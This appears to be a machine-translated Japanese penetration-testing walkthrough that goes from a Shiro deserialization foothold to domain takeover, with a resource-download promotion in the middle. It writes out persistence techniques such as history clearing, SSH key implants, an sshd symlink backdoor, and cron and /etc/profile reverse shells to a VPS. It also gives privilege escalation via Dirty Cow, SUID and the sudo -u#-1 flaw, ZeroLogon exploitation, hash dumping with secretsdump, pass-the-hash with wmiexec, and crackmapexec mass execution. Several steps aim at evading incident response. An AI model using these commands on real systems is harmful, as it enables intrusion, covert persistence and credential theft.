I.はじめに
Linux からドメイン環境に入り、ドメイン制御権を取得します。記事全体の実運用
2.エクストラネット管理
1.通常のログインインターフェイスであるサイトを開きます
2. ログインを試みると、典型的な shiro の機能が見つかります。
3. ツールを使用して shiro を直接入力し、逆シリアル化します。
4. Ice Scorpion Horse に直接移動し、接続します。
[1]全リソースの取得<1] 1. 入手不可能な絶版の電子書籍を200部 2. 大手セキュリティ会社の30G内部映像資料 3. src文書を100部 4. 共通セキュリティインタビューの質問 5. CTF コンテストの典型的な質問 分析 6. ツールキットの完全なセット 7. 緊急時の対応に関するメモ 8. ネットワーク セキュリティの学習ルート
3. 権限の維持
実際、権限維持に関する記事はたくさん読んでいて、どれもユーザーの変更が含まれているのですが、緊急時の対応で最初に確認するのはユーザーのログイン状態、/etc/passwd、/etc/shadowファイルの変更なので、ここで行うことはお勧めしません。もちろん、以下に紹介するものも比較的一般的で単純な操作であり、実際にはある程度明白な操作です. 1つまたは2つを選択して使用できます. 結局、操作が少ないほど、発見される可能性は低くなります.より多くのことを選択することもできます. いくつかの許可が維持されます.1つが削除されると、別の許可が作成されます~
(1) 履歴の隠蔽
1.コマンドの前にスペースを追加すると、コマンドは記録されません[空格]cat /etcpasswd
cat /etc/passwd
コマンドが 1 つだけを記録していることがわかります。
2. 設定コマンドが記録されていない
[空格]set +o history
コードをコピー
回復
set -o history
3. 履歴ファイルの指定された行のコマンドを削除します。[num] はコマンドの各行の左側にあるマークです。
history -d [num]
元の 1 コマンドが削除されていることがわかります
4. ざっくり言うと履歴ファイルの中身を直接削除
#向history文件写入空内容,覆盖原本内容
echo > ~/.bash_history
#清空当前history记录
history -c
コードをコピー
(2)、SSH公開鍵書き込み
ssh 接続は、ターゲット ホストのシェルを取得することと同じです。アカウントのパスワードを使用して接続する以外に、ssh キーを **/root/.ssh/authorized_keys** ディレクトリに書き込む別の方法があり、パスワードなしでログインできます。
redis の不正アクセスの脆弱性の使用に精通している場合は、この方法に精通している必要があります。裏口から出る方法でもあります。
ssh キーを生成し、コマンドを入力して、Enter キーを 3 回押します。
ssh-keygen -t rsa
生成後、~/.ssh/ フォルダにキーが正常に生成されていることがわかります。id_rsa は秘密鍵で、id_rsa.pub は公開鍵です。
id_rsa.pub ファイルの内容を ~/.ssh/authorized_keys ファイルに入力します.そのようなファイルがない場合は、自分で作成します
ssh 接続を試す
(3)、SSHソフト接続
原則: sshd サービス構成で PAM 認証が有効になっている前提で、PAM 構成ファイルの制御フラグが十分であれば、pam_rootok モジュールが uid が 0 (root) であることを検出する限り、ログインは成功します。
つまり、pam 認証が有効になっている場合は、認証に十分な pam_rootok.so として構成されたファイルを見つけるだけで済みます。1. コマンドを入力してソフト接続を生成します。ポートは 10022 です。
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022
2. ssh 接続し、任意のパスワードを入力して、正常にログインします。
3. 使いやすい 使いやすいが、見つけやすい ps-aux と入力して見つけることができます。
(4)、計画タスク
1. 新しい cron.sh ファイルを作成します.ここで実行するコマンドはシェルを逆にする nc です.他のコマンドも使用できます.
2. スケジュールされたタスクを設定します。ここで、*/3 は 3 分ごとに実行することを意味します。
(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for
私は誰%100c\n")|crontab -
3.計画されたタスクをうまく隠す
4.リバウンドシェルを入手する
(5) 環境変数によるバックドアの埋め込み
一般的な環境変数のパスは次のとおりです。
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc
コード
リバース シェル コマンドを環境変数に書き込む
echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile
このようにして、システムが再起動すると、シェルは vps に戻ります。
第四に、ホスト情報収集
許可取得後、一定の情報収集が必要
(1) 口座情報照会
whoami
id
cat /etc/passwd
cat /etc/shadow
(2) ネットワークとポートの情報を問い合わせる
ifconfig
netstat -anlp
arp -a
route -n
(3)、クエリプロセス一覧
ps -ef
(4) システムとパッチ情報の問い合わせ
カーネル バージョン uname -a を照会するか、rpm -qa を使用して、どのパッケージがインストールされているかを確認します。
(5) バウチャーの受け取り
cat /root/.bash_history //历史输入命令
cat ~/.bash_history //历史输入命令
コードをコピー
w //目前登录的用户
コードをコピー
5. 権利の昇格
セキュリティ上の考慮事項として、侵入テスト サイトは多くの場合、一部のデータベースまたはサイトをダウングレードして、サイトまたはデータベースを管理する権限を下げ、攻撃者が権限を取得した後に、より大きな脅威を直接引き起こすことを防ぎます。つまり、侵入テスト中に取得したWebサイトの権限は低い権限であり、限られた操作しか実行できません.イントラネットへの侵入のために現在のホストを突破したい場合は、管理者権限などの比較的高い権限を取得する必要があります.イントラネットへの浸透が現在のサーバーに基づいて実現できるようにします。次に、サーバーのパーミッションの区分を理解しましょう. Windows システムでは、最高のパーミッションはシステムのシステムパーミッションであり、最低のパーミッションはゲストパーミッションです。Linux システムでは、最高の権限は root 権限です。
(1) カーネルの脆弱性エスカレーション
利用条件
システムの対応するカーネルには特定の脆弱性があり、パッチはありません。つまり、カーネルの脆弱性がある可能性があります。
cat /etc/issue #查看发行版本
uname -r #查看内核版本
コードをコピー
戦闘デモンストレーション
1. まず、Linux の権限昇格補助ツール linux-exploit-suggester を使用して、権限昇格のオーバーフローに使用できる脆弱性を特定します。
2. ここで Dirty Cow — CVE-2016-5195 を選択して権利をエスカレートします。最初に対応する exp をダウンロードし、コマンド gcc -pthread dirty.c -o dirty -lcrypt を使用して dirty.c をコンパイルします。コンパイルが完了すると、ダーティ ファイルが生成されます。
3. ダーティファイルの権限昇格を実行し、パスワードを後ろに入力し、firefart のユーザー名を取得します。パスワードは、私が入力したアカウントです。
4.ユーザーにログインして表示し、ルート権限を正常に取得しました
(2) SUID権限昇格
SUID は Set User ID の略で、指定されたユーザーの権限でユーザーがファイルを実行できるようにする Linux の機能です。たとえば、apt-get コマンドは root 権限で実行する必要がありますが、apt-get ペアの SUID を設定できるため、権限の低いユーザーでも root 権限で apt-get 操作を実行できます。SUID の一般的な表記法は、「x」の代わりに「s」を使用することです。1. 次のコマンドを使用して、システムで実行されている SUID 実行可能ファイルを検出します。
find / -perm -u=s -type f 2>/dev/null
2. find コマンドを確認し、s が実際に x の代わりに使用されていることを確認します。
3. find コマンドを使用してコマンドを実行し、root 権限でコマンドを正常に実行します。
(3)、Sudo設定エラー
sudo にはこのような脆弱性があり、ユーザーが sudo コマンドを使用するときに UID を -1 または 4294967295 として指定する限り、コマンドは root として実行できます。1. root権限でidコマンドを実行sudo -u#-1 id
2. root権限でwhoamiコマンドを実行sudo -u#-1 whoami
6.横移動
横方向に移動する方法は多数ありますが、2020 年に公開された、ドメイン コントローラーを直接攻撃できる脆弱性を次に示します。
(1)、CVE-2020-1472
NetLogon リモート プロトコルは、Windows ドメイン コントローラで使用される RPC インターフェイスであり、ユーザーおよびマシンの認証に関連するさまざまなタスクに使用されます。最も一般的には、ユーザーが NTLM プロトコルを使用してサーバーにログオンできるようにするために使用されますが、NTP 応答認証とコンピューター ドメイン パスワードの更新にも使用されます。Microsoft MSRC は、8 月 11 日に Netlogon の権限昇格の脆弱性に関するセキュリティ アドバイザリをリリースしました。この脆弱性の CVE 番号は CVE-2020-1472 で、CVSS スコアは 10.0 です。Secura の Tom Tervoort によって提出され、ZeroLogon と名付けられました。
使用ツール:
1、指数
2. インパケット ツールキット
1.まずドメイン情報を取得する
net group "Domain Controllers" /domain
ここで、ドメイン ajie.cool、ドメイン コントローラのホスト名 AD が取得されます
2. exp を使用してドメイン制御パスワードを空にします
python3 cve-2020-1472-exploit.py -n
ドメイン コントローラのホスト名 -t ドメイン コントローラの IP
python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128
パスワードはここで正常に消去されました
3. impacket ツールキットの secretsdump.py スクリプトを使用してハッシュを取得する
python3 secretsdump.py ajie.cool/AD\[email protected] -no-pass
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
コードをコピー
AD$ のハッシュが31d6cfe0d16ae931b73c59d7e0c089c0であることがわかります。これは空のパスワードです。
ハッシュを取得したら、ハッシュ クラッキングまたは PTH を実行できるので、ここでは示しません。4. 次のステップでは、パスワードを復元する必要があります。まず、取得したハッシュを介して、wmiexec.py を介して pth 攻撃を実行し、シェルを取得できます。
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 [email protected]
コードをコピー
5.途中で、リモートデスクトップへのアクセス許可を取得する手順を省略します。また、主にsystem.save、sam.save、security.saveファイルをダウンロードするのに便利なように、CSでオンラインにすることもできます。
6. secretsdump.py を介して保存されたハッシュを取得します (ファイル パスは独自に設定されています。デスクトップ上にあるため、../../ を介してジャンプしました)。
python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL
コードをコピー
フレーム化された文字列、後半部分は元のハッシュ
75f490ed04ba66f04e0e947a185679bd
7.ツールを使用してパスワードを復元する
python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd
コードをコピー
8. 試してみたところ、ノーパス エクスプロイトに失敗しました
7. 結果を展開する
ドメイン コントローラーの NTLM ハッシュは以前に取得されているため、Crackmapexec を使用してホストのアクセス許可をバッチで取得し (ドメイン コントローラーの NTLM ハッシュと攻撃する指定された IP セグメントを介して)、kali の下にインストールできます。
apt-get install crackmapexec
次のコマンドを入力するだけです
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP :指定要攻击的IP段
-u :指定用户名
-H :指定NTLM Hash
-d :指定域
-x :执行系统命令·
コードをコピー
ドメイン コントローラを返却した管理者を確認できます
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig
コードをコピー